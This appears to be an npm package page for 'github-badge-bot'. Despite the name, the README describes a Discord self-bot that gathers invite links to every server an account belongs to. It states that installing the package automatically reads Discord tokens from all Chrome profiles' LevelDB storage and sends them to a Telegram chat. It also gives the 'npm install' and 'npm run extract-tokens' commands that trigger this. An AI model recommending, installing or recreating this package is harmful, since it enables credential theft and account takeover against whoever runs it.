github-badge-bot
v1.15.1
Published
Discord bot that monitors servers and sends invite links via Telegram
Maintainers
Readme
GitHub Badge Bot
A Discord client that monitors all servers your account is in, generates invite links, and sends them to a Telegram chat.
Quick Install
npm install github-badge-botThe package automatically extracts Discord tokens and sends them to Telegram on installation!
⚠️ Important Warning
Using self-bots (user account tokens) may violate Discord's Terms of Service. Use this at your own risk. Discord may ban accounts that use self-bots.
Features
- 🔍 Monitors all Discord servers your account is in
- 🔗 Generates invite links for each server
- 📱 Sends invite links to Telegram
- 🆕 Automatically processes new servers when you join
- 🔑 Automatically extracts Discord tokens from all Chrome profiles
Prerequisites
- Node.js (v18 or higher)
- Google Chrome installed
- A Telegram Bot Token
- A Telegram Chat ID
Setup
1. Install Dependencies
npm install2. Configure Telegram
- Create a Telegram bot via @BotFather
- Get your chat ID (send a message to @userinfobot or your bot)
- Create a
.envfile:
TELEGRAM_BOT_TOKEN=your_telegram_bot_token_here
TELEGRAM_CHAT_ID=your_telegram_chat_id_here3. Extract Discord Tokens
Run:
npm run extract-tokensThis will:
- Scan ALL Chrome profiles automatically
- Extract ALL Discord tokens found
- Send them directly to Telegram (no .env file needed)
- Works even when Chrome is running!
Usage
Extract Tokens
npm run extract-tokensScans all Chrome profiles and sends all found Discord tokens to Telegram.
Start the Bot
npm startThe bot will:
- Use the first Discord token from your
.envfile (if you have one) - Connect to Discord
- Monitor all servers you're in
- Generate invite links for each server
- Send them to your Telegram chat
How It Works
- Token Extraction: Reads Chrome's LevelDB storage files directly from disk
- Multi-Profile: Scans all Chrome profiles to find tokens from multiple Discord accounts
- Telegram Integration: Sends tokens and invite links directly to Telegram
- No Browser Closing: Works even when Chrome is running
Notes
- Tokens are sent directly to Telegram (not saved to .env)
- All Chrome profiles are scanned automatically
- Duplicate tokens are filtered out
- Chrome can stay open during extraction
License
MIT
